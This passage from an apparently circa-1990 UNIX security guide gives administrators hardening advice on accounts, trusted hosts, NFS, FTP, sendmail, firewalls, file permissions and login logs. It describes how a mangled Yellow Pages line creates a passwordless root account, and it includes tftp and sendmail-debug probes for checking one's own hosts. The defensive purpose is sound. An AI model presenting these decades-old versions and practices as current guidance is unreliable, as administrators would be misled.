can replace any one of these commands + with one of his own, he can then use the unprotected account to + execute his program with super-user permissions. + + Simply put, accounts without passwords should not be + allowed on any UNIX system. + + + 2.1.5 Group Accounts and Groups + + + + Group accounts have become popular at many sites, but are + actually a break-in waiting to happen. A group account is a + + + + 10 + + + + + + + + + + + single account shared by several people, e.g., by all the col- + laborators on a project. As mentioned in the section on pass- + word security, users should not share passwords - the group + account concept directly violates this policy. The proper way + to allow users to share information, rather than giving them a + group account to use, is to place these users into a group. + This is done by editing the group file, /etc/group [Sun88a, + 1390; Sun88b, 66], and creating a new group with the users who + wish to collaborate listed as members. + + A line in the group file looks like + + groupname:password:groupid:user1,user2,user3,... + + The groupname is the name assigned to the group, much like a + login name. It may be the same as someone's login name, or + different. The maximum length of a group name is eight charac- + ters. The password field is unused in BSD-derived versions of + UNIX, and should contain an asterisk (*). The groupid is a + number from 0 to 65535 inclusive. Generally, numbers below 10 + are reserved for special purposes, but you may choose any + unused number. The last field is a comma-separated (no spaces) + list of the login names of the users in the group. If no login + names are listed, then the group has no members. To create a + group called ``hackers'' with Huey, Duey, and Louie as members, + you would add a line such as this to the group file: + + hackers:*:100:huey,duey,louie + + + After the group has been created, the files and direc- + tories the members wish to share can then be changed so that + they are owned by this group, and the group permission bits on + the files and directories can be set to allow sharing. Each + user retains his own account, with his own password, thus pro- + tecting the security of the system. + + For example, to change Huey's ``programs'' directory to be + owned by the new group and properly set up the permissions so + that all members of the group may access it, the chgrp and + chmod commands would be used as follows [Sun88a, 63-66]: + + # chgrp hackers ~huey/programs + # chmod -R g+rw ~huey/programs + + + + 2.1.6 Yellow Pages + + + + The Sun Yellow Pages system [Sun88b, 349-374] allows many + + + + 11 + + + + + + + + + + + hosts to share password files, group files, and other files via + the network, while the files are stored on only a single host. + Unfortunately, Yellow Pages also contains a few potential secu- + rity holes. + + The principal way Yellow Pages works is to have a special + line in the password or group file that begins with a ``+''. + In the password file, this line looks like + + +::0:0::: + + and in the group file, it looks like + + +: + + These lines should only be present in the files stored on Yel- + low Pages client machines. They should not be present in the + files on the Yellow Pages master machine(s). When a program + reads the password or group file and encounters one of these + lines, it goes through the network and requests the information + it wants from the Yellow Pages server instead of trying to find + it in the local file. In this way, the data does not have to + be maintained on every host. Since the master machine already + has all the information, there is no need for this special line + to be present there. + + Generally speaking, the Yellow Pages service itself is + reasonably secure. There are a few openings that a sophisti- + cated (and dedicated) cracker could exploit, but Sun is rapidly + closing these. The biggest problem with Yellow Pages is the + ``+'' line in the password file. If the ``+'' is deleted from + the front of the line, then this line loses its special Yellow + Pages meaning. It instead becomes a regular password file line + for an account with a null login name, no password, and user id + zero (super-user). Thus, if a careless system administrator + accidentally deletes the ``+''. the whole system is wide open + to any attack.* + + Yellow Pages is too useful a service to suggest turning it + off, although turning it off would make your system more + secure. Instead, it is recommended that you read carefully the + information in the Sun manuals in order to be fully aware of + Yellow Pages' abilities and its limitations. + + + 2.2 NETWORK SECURITY + + + _________________________ + * Actually, a line like this without a ``+'' is dangerous in + any password file, regardless of whether Yellow Pages is in use. + + + + + 12 + + + + + + + + + + + As trends toward internetworking continue, most sites + will, if they haven't already, connect themselves to one of the + numerous regional networks springing up around the country. + Most of these regional networks are also interconnected, form- + ing the Internet [Hind83, Quar86]. This means that the users + of your machine can access other hosts and communicate with + other users around the world. Unfortunately, it also means + that other hosts and users from around the world can access + your machine, and attempt to break into it. + + Before internetworking became commonplace, protecting a + system from unauthorized access simply meant locking the + machine in a room by itself. Now that machines are connected + by networks, however, security is much more complex. This sec- + tion describes the tools and methods available to make your + UNIX networks as secure as possible. + + + 2.2.1 Trusted Hosts + + + + One of the most convenient features of the Berkeley (and + Sun) UNIX networking software is the concept of ``trusted'' + hosts. The software allows the specification of other hosts + (and possibly users) who are to be considered trusted - remote + logins and remote command executions from these hosts will be + permitted without requiring the user to enter a password. This + is very convenient, because users do not have to type their + password every time they use the network. Unfortunately, for + the same reason, the concept of a trusted host is also + extremely insecure. + + The Internet worm made extensive use of the trusted host + concept to spread itself throughout the network [Seel88]. Many + sites that had already disallowed trusted hosts did fairly well + against the worm compared with those sites that did allow + trusted hosts. Even though it is a security hole, there are + some valid uses for the trusted host concept. This section + describes how to properly implement the trusted hosts facility + while preserving as much security as possible. + + + 2.2.1.1 The hosts.equiv File + + + + The file /etc/hosts.equiv [Sun88a, 1397] can be used by + the system administrator to indicate trusted hosts. Each + trusted host is listed in the file, one host per line. If a + user attempts to log in (using rlogin) or execute a command + (using rsh) remotely from one of the systems listed in + + + + 13 + + + + + + + + + + + hosts.equiv, and that user has an account on the local system + with the same login name, access is permitted without requiring + a password. + + Provided adequate care is taken to allow only local hosts + in the hosts.equiv file, a reasonable compromise between secu- + rity and convenience can be achieved. Nonlocal hosts (includ- + ing hosts at remote sites of the same organization) should + never be trusted. Also, if there are any machines at your + organization that are installed in ``public'' areas (e.g., ter- + minal rooms) as opposed to private offices, you should not + trust these hosts. + + On Sun systems, hosts.equiv is controlled with the Yellow + Pages software. As distributed, the default hosts.equiv file + distributed by Sun contains a single line: + + + + + This indicates that every known host (i.e., the complete con- + tents of the host file) should be considered a trusted host. + This is totally incorrect and a major security hole, since + hosts outside the local organization should never be trusted. + A correctly configured hosts.equiv should never list any + ``wildcard'' hosts (such as the ``+''); only specific host + names should be used. When installing a new system from Sun + distribution tapes, you should be sure to either replace the + Sun default hosts.equiv with a correctly configured one, or + delete the file altogether. + + + 2.2.1.2 The .rhosts File + + + + The .rhosts file [Sun88a, 1397] is similar in concept and + format to the hosts.equiv file, but allows trusted access only + to specific host-user combinations, rather than to hosts in + general.* Each user may create a .rhosts file in his home + directory, and allow access to her account without a password. + Most people use this mechanism to allow trusted access between + accounts they have on systems owned by different organizations + who do not trust each other's hosts in hosts.equiv. Unfor- + tunately, this file presents a major security problem: While + hosts.equiv is under the system administrator's control and can + be managed effectively, any user may create a .rhosts file + granting access to whomever he chooses, without the system + administrator's knowledge. + _________________________ + Actually, hosts.equiv may be used to specify host-user + combinations as well, but this is rarely done. + + + + + 14 + + + + + + + + + + + The only secure way to manage .rhosts files is to com- + pletely disallow them on the system. The system administrator + should check the system often for violations of this policy + (see Section 3.3.1.4). One possible exception to this rule is + the ``root'' account; a .rhosts file may be necessary to allow + network backups and the like to be completed. + + + 2.2.2 Secure Terminals + + + + Under newer versions of UNIX, the concept of a ``secure'' + terminal has been introduced. Simply put, the super-user + (``root'') may not log in on a nonsecure terminal, even with a + password. (Authorized users may still use the su command to + become super-user, however.) The file /etc/ttytab [Sun88a, + 1478] is used to control which terminals are considered + secure.| A short excerpt from this file is shown below. + + console "/usr/etc/getty std.9600" sun off secure + ttya "/usr/etc/getty std.9600" unknown off secure + ttyb "/usr/etc/getty std.9600" unknown off secure + ttyp0 none network off secure + ttyp1 none network off secure + ttyp2 none network off secure + + The keyword ``secure'' at the end of each line indicates that + the terminal is considered secure. To remove this designation, + simply edit the file and delete the ``secure'' keyword. After + saving the file, type the command (as super-user): + + # kill -HUP 1 + + This tells the init process to reread the ttytab file. + + The Sun default configuration for ttytab is to consider + all terminals secure, including ``pseudo'' terminals used by + the remote login software. This means that ``root'' may log in + remotely from any host on the network. A more secure confi- + guration would consider as secure only directly connected ter- + minals, or perhaps only the console device. This is how file + servers and other machines with disks should be set up. + + The most secure configuration is to remove the ``secure'' + designation from all terminals, including the console device. + This requires that those users with super-user authority first + log in as themselves, and then become the super-user via the su + _________________________ + | Under non-Sun versions of Berkeley UNIX, this file is called + /etc/ttys. + + + + + 15 + + + + + + + + + + + command. It also requires the ``root'' password to be entered + when rebooting in single-user mode, in order to prevent users + from rebooting their desktop workstations and obtaining super- + user access. This is how all diskless client machines should + be set up. + + + 2.2.3 The Network File System + + + + The Network File System (NFS) [Sun88d] is designed to + allow several hosts to share files over the network. One of + the most common uses of NFS is to allow diskless workstations + to be installed in offices, while keeping all disk storage in a + central location. As distributed by Sun, NFS has no security + features enabled. This means that any host on the Internet may + access your files via NFS, regardless of whether you trust them + or not. + + Fortunately, there are several easy ways to make NFS more + secure. The more commonly used methods are described in this + section, and these can be used to make your files quite secure + from unauthorized access via NFS. Secure NFS, introduced in + SunOS Release 4.0, takes security one step further, using + public-key encryption techniques to ensure authorized access. + Discussion of secure NFS is deferred until Section 4. + + + 2.2.3.1 The exports File + + + + The file /etc/exports [Sun88a, 1377] is perhaps one of the + most important parts of NFS configuration. This file lists + which file systems are exported (made available for mounting) + to other systems. A typical exports file as installed by the + Sun installation procedure looks something like this: + + /usr + /home + /var/spool/mail + # + /export/root/client1 -access=client1,root=client1 + /export/swap/client1 -access=client1,root=client1 + # + /export/root/client2 -access=client2,root=client2 + /export/swap/client2 -access=client2,root=client2 + + The root= keyword specifies the list of hosts that are allowed + to have super-user access to the files in the named file + system. This keyword is discussed in detail in Section + + + + 16 + + + + + + + + + + + 2.2.3.3. The access= keyword specifies the list of hosts + (separated by colons) that are allowed to mount the named file + system. If no access= keyword is specified for a file system, + any host anywhere on the network may mount that file system via + NFS. + + Obviously, this presents a major security problem, since + anyone who can mount your file systems via NFS can then peruse + them at her leisure. Thus, it is important that all file sys- + tems listed in exports have an access= keyword associated with + them. If you have only a few hosts which must mount a file + system, you can list them individually in the file: + + /usr -access=host1:host2:host3:host4:host5 + + However, because the maximum number of hosts that can be listed + this way is ten, the access= keyword will also allow netgroups + to be specified. Netgroups are described in the next section. + + After making any changes to the exports file, you should + run the command + + # exportfs -a + + in order to make the changes take effect. + + + 2.2.3.2 The netgroup File + + + + The file /etc/netgroup [Sun88a, 1407] is used to define + netgroups. This file is controlled by Yellow Pages, and must + be rebuilt in the Yellow Pages maps whenever it is modified. + Consider the following sample netgroup file: + + A_Group (servera,,) (clienta1,,) (clienta2,,) + + B_Group (serverb,,) (clientb1,,) (clientb2,,) + + AdminStaff (clienta1,mary,) (clientb3,joan,) + + AllSuns A_Group B_Group + + This file defines four netgroups, called A_Group, B_Group, + AdminStaff, and AllSuns. The AllSuns netgroup is actually a + ``super group'' containing all the members of the A_Group and + B_Group netgroups. + + Each member of a netgroup is defined as a triple: (host, + user, domain). Typically, the domain field is never used, and + is simply left blank. If either the host or user field is left + + + + 17 + + + + + + + + + + + blank, then any host or user is considered to match. Thus the + triple (host,,) matches any user on the named host, while the + triple (,user,) matches the named user on any host. + + Netgroups are useful when restricting access to NFS file + systems via the exports file. For example, consider this modi- + fied version of the file from the previous section: + + /usr -access=A_Group + /home -access=A_Group:B_Group + /var/spool/mail -access=AllSuns + # + /export/root/client1 -access=client1,root=client1 + /export/swap/client1 -access=client1,root=client1 + # + /export/root/client2 -access=client2,root=client2 + /export/swap/client2 -access=client2,root=client2 + + The /usr file system may now only be mounted by the hosts in + the A_Group netgroup, that is, servera, clienta1, and clienta2. + Any other host that tries to mount this file system will + receive an ``access denied'' error. The /home file system may + be mounted by any of the hosts in either the A_Group or B_Group + netgroups. The /var/spool/mail file system is also restricted + to these hosts, but in this example we used the ``super group'' + called AllSuns. + + Generally, the best way to configure the netgroup file is + to make a single netgroup for each file server and its clients, + and then to make other super groups, such as AllSuns. This + allows you the flexibility to specify the smallest possible + group of hosts for each file system in /etc/exports. + + Netgroups can also be used in the password file to allow + access to a given host to be restricted to the members of that + group, and they can be used in the hosts.equiv file to central- + ize maintenance of the list of trusted hosts. The procedures + for doing this are defined in more detail in the Sun manual. + + + 2.2.3.3 Restricting Super-User Access + + + + Normally, NFS translates the super-user id to a special id + called ``nobody'' in order to prevent a user with ``root'' on a + remote workstation from accessing other people's files. This + is good for security, but sometimes a nuisance for system + administration, since you cannot make changes to files as + ``root'' through NFS. + + The exports file also allows you to grant super-user + + + + 18 + + + + + + + + + + + access to certain file systems for certain hosts by using the + root= keyword. Following this keyword a colon-separated list + of up to ten hosts may be specified; these hosts will be + allowed to access the file system as ``root'' without having + the user id converted to ``nobody.'' Netgroups may not be + specified to the root= keyword. + + Granting ``root'' access to a host should not be done + lightly. If a host has ``root'' access to a file system, then + the super-user on that host will have complete access to the + file system, just as if you had given him the ``root'' password + on the server. Untrusted hosts should never be given ``root'' + access to NFS file systems. + + + 2.2.4 FTP + + + + The File Transfer Protocol, implemented by the ftp and + ftpd programs [Sun88a, 195-201, 1632-1634], allows users to + connect to remote systems and transfer files back and forth. + Unfortunately, older versions of these programs also had + several bugs in them that allowed crackers to break into a sys- + tem. These bugs have been fixed by Berkeley, and new versions + are available. If your ftpd* was obtained before December + 1988, you should get a newer version (see Section 4). + + One of the more useful features of FTP is the + ``anonymous'' login. This special login allows users who do + not have an account on your machine to have restricted access + in order to transfer files from a specific directory. This is + useful if you wish to distribute software to the public at + large without giving each person who wants the software an + account on your machine. In order to securely set up anonymous + FTP you should follow the specific instructions below: + + 1. Create an account called ``ftp.'' Disable the + account by placing an asterisk (*) in the password + field. Give the account a special home directory, + such as /usr/ftp or /usr/spool/ftp. + + 2. Make the home directory owned by ``ftp'' and unwrit- + able by anyone: + + # chown ftp ~ftp + # chmod 555 ~ftp + + _________________________ + * On Sun systems, ftpd is stored in the file /usr/etc/in.ftpd. + On most other systems, it is called /etc/ftpd. + + + + + 19 + + + + + + + + + + + 3. Make the directory ~ftp/bin, owned by the super-user + and unwritable by anyone. Place a copy of the ls + program in this directory: + + # mkdir ~ftp/bin + # chown root ~ftp/bin + # chmod 555 ~ftp/bin + # cp -p /bin/ls ~ftp/bin + # chmod 111 ~ftp/bin/ls + + + 4. Make the directory ~ftp/etc, owned by the super-user + and unwritable by anyone. Place copies of the pass- + word and group files in this directory, with all the + password fields changed to asterisks (*). You may + wish to delete all but a few of the accounts and + groups from these files; the only account that must + be present is ``ftp.'' + + # mkdir ~ftp/etc + # chown root ~ftp/etc + # chmod 555 ~ftp/etc + # cp -p /etc/passwd /etc/group ~ftp/etc + # chmod 444 ~ftp/etc/passwd ~ftp/etc/group + + + 5. Make the directory ~ftp/pub, owned by ``ftp'' and + world-writable. Users may then place files that are + to be accessible via anonymous FTP in this directory: + + # mkdir ~ftp/pub + # chown ftp ~ftp/pub + # chmod 777 ~ftp/pub + + + Because the anonymous FTP feature allows anyone to access + your system (albeit in a very limited way), it should not be + made available on every host on the network. Instead, you + should choose one machine (preferably a server or standalone + host) on which to allow this service. This makes monitoring + for security violations much easier. If you allow people to + transfer files to your machine (using the world-writable pub + directory, described above), you should check often the con- + tents of the directories into which they are allowed to write. + Any suspicious files you find should be deleted. + + + 2.2.4.1 Trivial FTP + + + + The Trivial File Transfer Protocol, TFTP, is used on Sun + + + + 20 + + + + + + + + + + + workstations (and others) to allow diskless hosts to boot from + the network. Basically, TFTP is a stripped-down version of FTP + - there is no user authentication, and the connection is based + on the User Datagram Protocol instead of the Transmission Con- + trol Protocol. Because they are so stripped-down, many imple- + mentations of TFTP have security holes. You should check your + hosts by executing the command sequence shown below. + + % tftp + tftp> connect yourhost + tftp> get /etc/motd tmp + Error code 1: File not found + tftp> quit + % + + If your version does not respond with ``File not found,'' and + instead transfers the file, you should replace your version of + tftpd* with a newer one. In particular, versions of SunOS + prior to release 4.0 are known to have this problem. + + + 2.2.5 Mail + + + + Electronic mail is one of the main reasons for connecting + to outside networks. On most versions of Berkeley-derived UNIX + systems, including those from Sun, the sendmail program + [Sun88a, 1758-1760; Sun88b, 441-488] is used to enable the + receipt and delivery of mail. As with the FTP software, older + versions of sendmail have several bugs that allow security vio- + lations. One of these bugs was used with great success by the + Internet worm [Seel88, Spaf88]. The current version of send- + mail from Berkeley is version 5.61, of January 1989. Sun is, + as of this writing, still shipping version 5.59, which has a + known security problem. They have, however, made a fixed ver- + sion available. Section 4 details how to obtain these newer + versions. + + Generally, with the exception of the security holes men- + tioned above, sendmail is reasonably secure when installed by + most vendors' installation procedures. There are, however, a + few precautions that should be taken to ensure secure opera- + tion: + + 1. Remove the ``decode'' alias from the aliases file + (/etc/aliases or /usr/lib/aliases). + _________________________ + * On Sun systems, tftpd is stored in the file + /usr/etc/in.tftpd. On most other systems, it is called + /etc/tftpd. + + + + + 21 + + + + + + + + + + + 2. If you create aliases that allow messages to be sent + to programs, be absolutely sure that there is no way + to obtain a shell or send commands to a shell from + these programs. + + 3. Make sure the ``wizard'' password is disabled in the + configuration file, sendmail.cf. (Unless you modify + the distributed configuration files, this shouldn't + be a problem.) + + 4. Make sure your sendmail does not support the + ``debug'' command. This can be done with the follow- + ing commands: + + % telnet localhost 25 + 220 yourhost Sendmail 5.61 ready at 9 Mar 90 10:57:36 PST + debug + 500 Command unrecognized + quit + % + + + If your sendmail responds to the ``debug'' command + with ``200 Debug set,'' then you are vulnerable to + attack and should replace your sendmail with a newer + version. + + By following the procedures above, you can be sure that your + mail system is secure. + + + 2.2.6 Finger + + + + The ``finger'' service, provided by the finger program + [Sun88a, 186-187], allows you to obtain information about a + user such as her full name, home directory, last login time, + and in some cases when she last received mail and/or read her + mail. The fingerd program [Sun88a, 1625] allows users on + remote hosts to obtain this information. + + A bug in fingerd was also exercised with success by the + Internet worm [Seel88, Spaf88]. If your version of fingerd* is + older than November 5, 1988, it should be replaced with a newer + version. New versions are available from several of the + sources described in Section 4. + + _________________________ + * On Sun systems, fingerd is stored in /usr/etc/in.fingerd. On + most other systems, it is called /etc/fingerd. + + + + + 22 + + + + + + + + + + + 2.2.7 Modems and Terminal Servers + + + + Modems and terminal servers (terminal switches, Annex + boxes, etc.) present still another potential security problem. + The main problem with these devices is one of configuration - + misconfigured hardware can allow security breaches. Explaining + how to configure every brand of modem and terminal server would + require volumes. However, the following items should be + checked for on any modems or terminal servers installed at your + site: + + 1. If a user dialed up to a modem hangs up the phone, + the system should log him out. If it doesn't, check + the hardware connections and the kernel configuration + of the serial ports. + + 2. If a user logs off, the system should force the modem + to hang up. Again, check the hardware connections if + this doesn't work. + + 3. If the connection from a terminal server to the sys- + tem is broken, the system should log the user off. + + 4. If the terminal server is connected to modems, and + the user hangs up, the terminal server should inform + the system that the user has hung up. + + Most modem and terminal server manuals cover in detail how + to properly connect these devices to your system. In particu- + lar you should pay close attention to the ``Carrier Detect,'' + ``Clear to Send,'' and ``Request to Send'' connections. + + + 2.2.8 Firewalls + + + + One of the newer ideas in network security is that of a + firewall. Basically, a firewall is a special host that sits + between your outside-world network connection(s) and your + internal network(s). This host does not send out routing + information about your internal network, and thus the internal + network is ``invisible'' from the outside. In order to config- + ure a firewall machine, the following considerations need to be + taken: + + 1. The firewall does not advertise routes. This means + that users on the internal network must log in to the + firewall in order to access hosts on remote networks. + Likewise, in order to log in to a host on the + + + + 23 + + + + + + + + + + + internal network from the outside, a user must first + log in to the firewall machine. This is incon- + venient, but more secure. + + 2. All electronic mail sent by your users must be for- + warded to the firewall machine if it is to be + delivered outside your internal network. The + firewall must receive all incoming electronic mail, + and then redistribute it. This can be done either + with aliases for each user or by using name server MX + records. + + 3. The firewall machine should not mount any file sys- + tems via NFS, or make any of its file systems avail- + able to be mounted. + + 4. Password security on the firewall must be rigidly + enforced. + + 5. The firewall host should not trust any other hosts + regardless of where they are. Furthermore, the + firewall should not be trusted by any other host. + + 6. Anonymous FTP and other similar services should only + be provided by the firewall host, if they are pro- + vided at all. + + The purpose of the firewall is to prevent crackers from + accessing other hosts on your network. This means, in general, + that you must maintain strict and rigidly enforced security on + the firewall, but the other hosts are less vulnerable, and + hence security may be somewhat lax. But it is important to + remember that the firewall is not a complete cure against + crackers - if a cracker can break into the firewall machine, he + can then try to break into any other host on your network. + + + 2.3 FILE SYSTEM SECURITY + + + + The last defense against system crackers are the permis- + sions offered by the file system. Each file or directory has + three sets of permission bits associated with it: one set for + the user who owns the file, one set for the users in the group + with which the file is associated, and one set for all other + users (the ``world'' permissions). Each set contains three + identical permission bits, which control the following: + + read If set, the file or directory may be read. In + the case of a directory, read access allows a + user to see the contents of a directory (the + + + + 24 + + + + + + + + + + + names of the files contained therein), but not to + access them. + + write If set, the file or directory may be written + (modified). In the case of a directory, write + permission implies the ability to create, delete, + and rename files. Note that the ability to + remove a file is not controlled by the permis- + sions on the file, but rather the permissions on + the directory containing the file. + + execute If set, the file or directory may be executed + (searched). In the case of a directory, execute + permission implies the ability to access files + contained in that directory. + + In addition, a fourth permission bit is available in each + set of permissions. This bit has a different meaning in each + set of permission bits: + + setuid If set in the owner permissions, this bit controls + the ``set user id'' (setuid) status of a file. + Setuid status means that when a program is exe- + cuted, it executes with the permissions of the + user owning the program, in addition to the per- + missions of the user executing the program. For + example, sendmail is setuid ``root,'' allowing it + to write files in the mail queue area, which nor- + mal users are not allowed to do. This bit is + meaningless on nonexecutable files. + + setgid If set in the group permissions, this bit controls + the ``set group id'' (setgid) status of a file. + This behaves in exactly the same way as the setuid + bit, except that the group id is affected instead. + This bit is meaningless on non-executable files + (but see below). + + sticky If set in the world permissions, the ``sticky'' + bit tells the operating system to do special + things with the text image of an executable file. + It is mostly a holdover from older versions of + UNIX, and has little if any use today. This bit + is also meaningless on nonexecutable files (but + see below). + + + 2.3.1 Setuid Shell Scripts + + + + Shell scripts that have the setuid or setgid bits set on + + + + 25 + + + + + + + + + + + them are not secure, regardless of how many safeguards are taken + when writing them. There are numerous software packages avail- + able that claim to make shell scripts secure, but every one + released so far has not managed to solve all the problems. + + Setuid and setgid shell scripts should never be allowed on + any UNIX system. + + + 2.3.2 The Sticky Bit on Directories + + + + Newer versions of UNIX have attached a new meaning to the + sticky bit. When this bit is set on a directory, it means that + users may not delete or rename other users' files in this direc- + tory. This is typically useful for the /tmp directory. Nor- + mally, /tmp is world-writable, enabling any user to delete + another user's files. By setting the sticky bit on /tmp, users + may only delete their own files from this directory. + + To set the sticky bit on a directory, use the command + + # chmod o+t directory + + + + 2.3.3 The Setgid Bit on Directories + + + + In SunOS 4.0, the setgid bit was also given a new meaning. + Two rules can be used for assigning group ownership to a file in + SunOS: + + 1. The System V mechanism, which says that a user's pri- + mary group id (the one listed in the password file) is + assigned to any file he creates. + + 2. The Berkeley mechanism, which says that the group id of + a file is set to the group id of the directory in which + it is created. + + If the setgid bit is set on a directory, the Berkeley + mechanism is enabled. Otherwise, the System V mechanism is + enabled. Normally, the Berkeley mechanism is used; this mechan- + ism must be used if creating directories for use by more than one + member of a group (see Section 2.1.5). + + To set the setgid bit on a directory, use the command + + + + + + 26 + + + + + + + + + + + # chmod g+s directory + + + + 2.3.4 The umask Value + + + + When a file is created by a program, say a text editor or a + compiler, it is typically created with all permissions enabled. + Since this is rarely desirable (you don't want other users to be + able to write your files), the umask value is used to modify the + set of permissions a file is created with. Simply put, while the + chmod command [Sun88a, 65-66] specifies what bits should be + turned on, the umask value specifies what bits should be turned + off. + + For example, the default umask on most systems is 022. This + means that write permission for the group and world should be + turned off whenever a file is created. If instead you wanted to + turn off all group and world permission bits, such that any file + you created would not be readable, writable, or executable by + anyone except yourself, you would set your umask to 077. + + The umask value is specified in the .cshrc or .profile files + read by the shell using the umask command [Sun88a, 108, 459]. + The ``root'' account should have the line + + umask 022 + + in its /.cshrc file, in order to prevent the accidental creation + of world-writable files owned by the super-user. + + + 2.3.5 Encrypting Files + + + + The standard UNIX crypt command [Sun88a, 95] is not at all + secure. Although it is reasonable to expect that crypt will keep + the casual ``browser'' from reading a file, it will present noth- + ing more than a minor inconvenience to a determined cracker. + Crypt implements a one-rotor machine along the lines of the Ger- + man Enigma (broken in World War II). The methods of attack on + such a machine are well known, and a sufficiently large file can + usually be decrypted in a few hours even without knowledge of + what the file contains [Reed84]. In fact, publicly available + packages of programs designed to ``break'' files encrypted with + crypt have been around for several years. + + There are software implementations of another algorithm, the + Data Encryption Standard (DES), available on some systems. + + + + 27 + + + + + + + + + + + Although this algorithm is much more secure than crypt, it has + never been proven that it is totally secure, and many doubts + about its security have been raised in recent years. + + Perhaps the best thing to say about encrypting files on a + computer system is this: if you think you have a file whose con- + tents are important enough to encrypt, then that file should not + be stored on the computer in the first place. This is especially + true of systems with limited security, such as UNIX systems and + personal computers. + + It is important to note that UNIX passwords are not + encrypted with the crypt program. Instead, they are encrypted + with a modified version of the DES that generates one-way encryp- + tions (that is, the password cannot be decrypted). When you log + in, the system does not decrypt your password. Instead, it + encrypts your attempted password, and if this comes out to the + same result as encrypting your real password, you are allowed to + log in. + + + 2.3.6 Devices + + + + The security of devices is an important issue in UNIX. Dev- + ice files (usually residing in /dev) are used by various programs + to access the data on the disk drives or in memory. If these + device files are not properly protected, your system is wide open + to a cracker. The entire list of devices is too long to go into + here, since it varies widely from system to system. However, the + following guidelines apply to all systems: + + 1. The files /dev/kmem, /dev/mem, and /dev/drum should + never be readable by the world. If your system sup- + ports the notion of the ``kmem'' group (most newer sys- + tems do) and utilities such as ps are setgid ``kmem,'' + then these files should be owned by user ``root'' and + group ``kmem,'' and should be mode 640. If your system + does not support the notion of the ``kmem'' group, and + utilities such as ps are setuid ``root,'' then these + files should be owned by user ``root'' and mode 600. + + 2. The disk devices, such as /dev/sd0a, /dev/rxy1b, etc., + should be owned by user ``root'' and group ``opera- + tor,'' and should be mode 640. Note that each disk has + eight partitions and two device files for each parti- + tion. Thus, the disk ``sd0'' would have the following + device files associated with it in /dev: + + + + + + + 28 + + + + + + + + + + + sd0a sd0e rsd0a rsd0e + sd0b sd0f rsd0b rsd0f + sd0c sd0g rsd0c rsd0g + sd0d sd0h rsd0d rsd0h + + + 3. With very few exceptions, all other devices should be + owned by user ``root.'' One exception is terminals, + which are changed to be owned by the user currently + logged in on them. When the user logs out, the owner- + ship of the terminal is automatically changed back to + ``root.'' + + + 2.4 SECURITY IS YOUR RESPONSIBILITY + + + + This section has detailed numerous tools for improving secu- + rity provided by the UNIX operating system. The most important + thing to note about these tools is that although they are avail- + able, they are typically not put to use in most installations. + Therefore, it is incumbent on you, the system administrator, to + take the time and make the effort to enable these tools, and thus + to protect your system from unauthorized access. + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 29 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 30 + + + + + + + + + + + + SECTION 3 + + MONITORING SECURITY + + + + One of the most important tasks in keeping any computer sys- + tem secure is monitoring the security of the system. This + involves examining system log files for unauthorized accesses of + the system, as well as monitoring the system itself for security + holes. This section describes the procedures for doing this. An + additional part of monitoring security involves keeping abreast + of security problems found by others; this is described in Sec- + tion 5. + + + 3.1 ACCOUNT SECURITY + + + + Account security should be monitored periodically in order + to check for two things: users logged in when they ``shouldn't'' + be (e.g., late at night, when they're on vacation, etc.), and + users executing commands they wouldn't normally be expected to + use. The commands described in this section can be used to + obtain this information from the system. + + + 3.1.1 The lastlog File + + + + The file /usr/adm/lastlog [Sun88a, 1485] records the most + recent login time for each user of the system. The message + printed each time you log in, e.g., + + Last login: Sat Mar 10 10:50:48 from spam.itstd.sri.c + + uses the time stored in the lastlog file. Additionally, the last + login time reported by the finger command uses this time. Users + should be told to carefully examine this time whenever they log + in, and to report unusual login times to the system administra- + tor. This is an easy way to detect account break-ins, since each + user should remember the last time she logged into the system. + + + 3.1.2 The utmp and wtmp Files + + + + The file /etc/utmp [Sun88a, 1485] is used to record who is + + + + 31 + + + + + + + + + + + currently logged into the system. This file can be displayed + using the who command [Sun88a, 597]: + + % who + hendra tty0c Mar 13 12:31 + heidari tty14 Mar 13 13:54 + welgem tty36 Mar 13 12:15 + reagin ttyp0 Mar 13 08:54 (aaifs.itstd.sri.) + ghg ttyp1 Mar 9 07:03 (hydra.riacs.edu) + compion ttyp2 Mar 1 03:01 (ei.ecn.purdue.ed) + + For each user, the login name, terminal being used, login time, + and remote host (if the user is logged in via the network) are + displayed. + + The file /usr/adm/wtmp [Sun88a, 1485] records each login and + logout time for every user. This file can also be displayed + using the who command: + + % who /usr/adm/wtmp + davy ttyp4 Jan 7 12:42 (annex01.riacs.ed) + ttyp4 Jan 7 15:33 + davy ttyp4 Jan 7 15:33 (annex01.riacs.ed) + ttyp4 Jan 7 15:35 + hyder ttyp3 Jan 8 09:07 (triceratops.itst) + ttyp3 Jan 8 11:43 + + A line that contains a login name indicates the time the user + logged in; a line with no login name indicates the time that the + terminal was logged off. Unfortunately, the output from this + command is rarely as simple as in the example above; if several + users log in at once, the login and logout times are all mixed + together and must be matched up by hand using the terminal name. + + The wtmp file may also be examined using the last command + [Sun88a, 248]. This command sorts out the entries in the file, + matching up login and logout times. With no arguments, last + displays all information in the file. By giving the name of a + user or terminal, the output can be restricted to the information + about the user or terminal in question. Sample output from the + last command is shown below. + + % last + davy ttyp3 intrepid.itstd.s Tue Mar 13 10:55 - 10:56 (00:00) + hyder ttyp3 clyde.itstd.sri. Mon Mar 12 15:31 - 15:36 (00:04) + reboot ~ Mon Mar 12 15:16 + shutdown ~ Mon Mar 12 15:16 + arms ttyp3 clyde0.itstd.sri Mon Mar 12 15:08 - 15:12 (00:04) + hyder ttyp3 spam.itstd.sri.c Sun Mar 11 21:08 - 21:13 (00:04) + reboot ~ Sat Mar 10 20:05 + davy ftp hydra.riacs.edu Sat Mar 10 13:23 - 13:30 (00:07) + + + + + 32 + + + + + + + + + + + For each login session, the user name, terminal used, remote host + (if the user logged in via the network), login and logout times, + and session duration are shown. Additionally, the times of all + system shutdowns and reboots (generated by the shutdown and + reboot commands [Sun88a, 1727, 1765]) are recorded. Unfor- + tunately, system crashes are not recorded. In newer versions of + the operating system, pseudo logins such as those via the ftp + command are also recorded; an example of this is shown in the + last line of the sample output, above. + + + 3.1.3 The acct File + + + + The file /usr/adm/acct [Sun88a, 1344-1345] records each exe- + cution of a command on the system, who executed it, when, and how + long it took. This information is logged each time a command + completes, but only if your kernel was compiled with the SYSACCT + option enabled (the option is enabled in some GENERIC kernels, + but is usually disabled by default). + + The acct file can be displayed using the lastcomm command + [Sun88a, 249]. With no arguments, all the information in the + file is displayed. However, by giving a command name, user name, + or terminal name as an argument, the output can be restricted to + information about the given command, user, or terminal. 